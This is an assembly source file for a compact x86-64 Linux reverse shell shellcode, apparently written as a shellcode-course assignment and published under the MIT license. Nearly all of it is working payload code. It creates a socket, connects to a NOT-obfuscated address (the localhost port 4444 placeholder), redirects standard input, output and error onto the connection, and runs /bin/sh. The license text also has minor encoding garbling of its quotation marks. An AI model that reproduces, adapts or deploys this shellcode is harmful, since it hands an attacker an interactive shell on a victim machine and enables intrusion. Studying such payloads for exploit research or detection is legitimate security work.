66 bytes small Linux reverse shell shellcode.
0acba259ef5612679aaf8c860f3712db;The MIT License (MIT)
;Copyright (c) 2017 Robert L. Taylor
;Permission is hereby granted, free of charge, to any person obtaining a
;copy of this software and associated documentation files (the aSoftwarea),
;to deal in the Software without restriction, including without limitation
;the rights to use, copy, modify, merge, publish, distribute, sublicense,
;and/or sell copies of the Software, and to permit persons to whom the
;Software is furnished to do so, subject to the following conditions:
;The above copyright notice and this permission notice shall be included
;in all copies or substantial portions of the Software.
;The Software is provided aas isa, without warranty of any kind, express or
;implied, including but not limited to the warranties of merchantability,
;fitness for a particular purpose and noninfringement. In no event shall the
;authors or copyright holders be liable for any claim, damages or other
;liability, whether in an action of contract, tort or otherwise, arising
;from, out of or in connection with the software or the use or other
;dealings in the Software.
;
; For a detailed explanation of this shellcode see my blog post:
; http://a41l4.blogspot.ca/2017/02/assignment-2b.html
global _start
section .text
_start:
; Socket
push 41
pop rax
push 2
pop rdi
push 1
pop rsi
cdq
syscall
; Connect
xchg edi, eax
push rdx
mov rbx, 0xfeffff80a3eefffd ; not encoded 0x0100007f5c110002
not rbx
push rbx
mov al, 42
push rsp
pop rsi
mov dl, 16
syscall
; Dup 2
push 3
pop rsi
dup2loop:
mov al, 33
dec esi
syscall
loopnz dup2loop
; Execve
; rax and rsi are zero from the result of the last dup2 syscall and loop
push rax ; zero terminator for the following string that we are pushing
mov rbx, '/bin//sh'
push rbx
; store /bin//sh address in RDI
push rsp
pop rdi
cdq ; zero rdx
mov al, 59
syscall